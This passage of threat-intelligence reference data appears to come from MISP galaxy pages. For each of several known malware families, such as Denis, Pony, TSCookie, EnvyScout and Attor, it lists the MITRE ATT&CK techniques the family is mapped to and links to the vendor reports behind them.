- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5587. Table References

Links
https://attack.mitre.org/software/S0534
https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/
https://www.crowdstrike.com/blog/wizard-spider-adversary-update/
https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html

Denis - S0354

[Denis](https://attack.mitre.org/software/S0354) is a Windows backdoor and Trojan used by [APT32](https://attack.mitre.org/groups/G0050). [Denis](https://attack.mitre.org/software/S0354) shares several similarities to the [SOUNDBITE](https://attack.mitre.org/software/S0157) backdoor and has been used in conjunction with the [Goopy](https://attack.mitre.org/software/S0477) backdoor.(Citation: Cybereason Oceanlotus May 2017)

The tag is: *misp-galaxy:mitre-malware="Denis - S0354"*

Denis - S0354 is also known as:

- Denis

View relationships graph

Denis - S0354 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5588. Table References

Links
https://attack.mitre.org/software/S0354
https://www.cybereason.com/blog/operation-cobalt-kitty-apt

Pony - S0453

[Pony](https://attack.mitre.org/software/S0453) is a credential stealing malware, though has also been used among adversaries for its downloader capabilities. The source code for Pony Loader 1.0 and 2.0 were leaked online, leading to their use by various threat actors.(Citation: Malwarebytes Pony April 2016)

The tag is: *misp-galaxy:mitre-malware="Pony - S0453"*

Pony - S0453 is also known as:

- Pony

View relationships graph

Pony - S0453 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5589. Table References

Links
https://attack.mitre.org/software/S0453
https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/

Seasalt - S0345

[Seasalt](https://attack.mitre.org/software/S0345) is malware that has been linked to [APT1](https://attack.mitre.org/groups/G0006)'s 2010 operations. It shares some code similarities with [OceanSalt](https://attack.mitre.org/software/S0346).(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)

The tag is: *misp-galaxy:mitre-malware="Seasalt - S0345"*

Seasalt - S0345 is also known as:

- Seasalt

View relationships graph

Seasalt - S0345 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 5590. Table References

Links
https://attack.mitre.org/software/S0345
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf

Spark - S0543

[Spark](https://attack.mitre.org/software/S0543) is a Windows backdoor and has been in use since as early as 2017.(Citation: Unit42 Molerat Mar 2020)

The tag is: *misp-galaxy:mitre-malware="Spark - S0543"*

Spark - S0543 is also known as:

- Spark

View relationships graph

Spark - S0543 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="User Activity Based Checks - T1497.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5591. Table References

Links
https://attack.mitre.org/software/S0543
https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/

INSOMNIA - S0463

[INSOMNIA](https://attack.mitre.org/software/S0463) is spyware that has been used by the group Evil Eye.(Citation: Volexity Insomnia)

The tag is: *misp-galaxy:mitre-malware="INSOMNIA - S0463"*

INSOMNIA - S0463 is also known as:

- INSOMNIA

View relationships graph

INSOMNIA - S0463 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Code Injection - T1540" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keychain - T1579" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"

Table 5592. Table References

Links
https://attack.mitre.org/software/S0463
https://www.volexity.com/blog/2020/04/21/evil-eye-threat-actor-resurfaces-with-ios-exploit-and-updated-implant/

TSCookie - S0436

[TSCookie](https://attack.mitre.org/software/S0436) is a remote access tool (RAT) that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) in campaigns against Japanese targets.(Citation: JPCert TSCookie March 2018)(Citation: JPCert BlackTech Malware September 2019). [TSCookie](https://attack.mitre.org/software/S0436) has been referred to as [PLEAD](https://attack.mitre.org/software/S0435) though more recent reporting indicates a separation between the two.(Citation: JPCert PLEAD Downloader June 2018)(Citation: JPCert BlackTech Malware September 2019)

The tag is: *misp-galaxy:mitre-malware="TSCookie - S0436"*

TSCookie - S0436 is also known as:

- TSCookie

View relationships graph

TSCookie - S0436 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5593. Table References

Links
https://attack.mitre.org/software/S0436
https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html
https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html

EnvyScout - S0634

[EnvyScout](https://attack.mitre.org/software/S0634) is a dropper that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)

The tag is: *misp-galaxy:mitre-malware="EnvyScout - S0634"*

EnvyScout - S0634 is also known as:

- EnvyScout

View relationships graph

EnvyScout - S0634 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="HTML Smuggling - T1027.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 5594. Table References

Links
https://attack.mitre.org/software/S0634
https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/

OceanSalt - S0346

[OceanSalt](https://attack.mitre.org/software/S0346) is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. [OceanSalt](https://attack.mitre.org/software/S0346) shares code similarity with [SpyNote RAT](https://attack.mitre.org/software/S0305), which has been linked to [APT1](https://attack.mitre.org/groups/G0006).(Citation: McAfee Oceansalt Oct 2018)

The tag is: *misp-galaxy:mitre-malware="OceanSalt - S0346"*

OceanSalt - S0346 is also known as:

- OceanSalt

View relationships graph

OceanSalt - S0346 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5595. Table References

Links
https://attack.mitre.org/software/S0346
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf

Peppy - S0643

[Peppy](https://attack.mitre.org/software/S0643) is a Python-based remote access Trojan, active since at least 2012, with similarities to [Crimson](https://attack.mitre.org/software/S0115).(Citation: Proofpoint Operation Transparent Tribe March 2016)

The tag is: *misp-galaxy:mitre-malware="Peppy - S0643"*

Peppy - S0643 is also known as:

- Peppy

View relationships graph

Peppy - S0643 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5596. Table References

Links
https://attack.mitre.org/software/S0643
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

AuditCred - S0347

[AuditCred](https://attack.mitre.org/software/S0347) is a malicious DLL that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) during their 2018 attacks.(Citation: TrendMicro Lazarus Nov 2018)

The tag is: *misp-galaxy:mitre-malware="AuditCred - S0347"*

AuditCred - S0347 is also known as:

- AuditCred
- Roptimizer

View relationships graph

AuditCred - S0347 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5597. Table References

Links
https://attack.mitre.org/software/S0347
https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/

Avenger - S0473

[Avenger](https://attack.mitre.org/software/S0473) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)

The tag is: *misp-galaxy:mitre-malware="Avenger - S0473"*

Avenger - S0473 is also known as:

- Avenger

View relationships graph

Avenger - S0473 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5598. Table References

Links
https://attack.mitre.org/software/S0473
https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf

Kivars - S0437

[Kivars](https://attack.mitre.org/software/S0437) is a modular remote access tool (RAT), derived from the Bifrost RAT, that was used by [BlackTech](https://attack.mitre.org/groups/G0098) in a 2010 campaign.(Citation: TrendMicro BlackTech June 2017)

The tag is: *misp-galaxy:mitre-malware="Kivars - S0437"*

Kivars - S0437 is also known as:

- Kivars

View relationships graph

Kivars - S0437 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5599. Table References

Links
https://attack.mitre.org/software/S0437
https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/

SpeakUp - S0374

[SpeakUp](https://attack.mitre.org/software/S0374) is a Trojan backdoor that targets both Linux and OSX devices. It was first observed in January 2019. (Citation: CheckPoint SpeakUp Feb 2019)

The tag is: *misp-galaxy:mitre-malware="SpeakUp - S0374"*

SpeakUp - S0374 is also known as:

- SpeakUp

View relationships graph

SpeakUp - S0374 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5600. Table References

Links
https://attack.mitre.org/software/S0374
https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/

Attor - S0438

[Attor](https://attack.mitre.org/software/S0438) is a Windows-based espionage platform that has been seen in use since 2013. [Attor](https://attack.mitre.org/software/S0438) has a loadable plugin architecture to customize functionality for specific targets.(Citation: ESET Attor Oct 2019)

The tag is: *misp-galaxy:mitre-malware="Attor - S0438"*

Attor - S0438 is also known as:

- Attor

View relationships graph

Attor - S0438 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
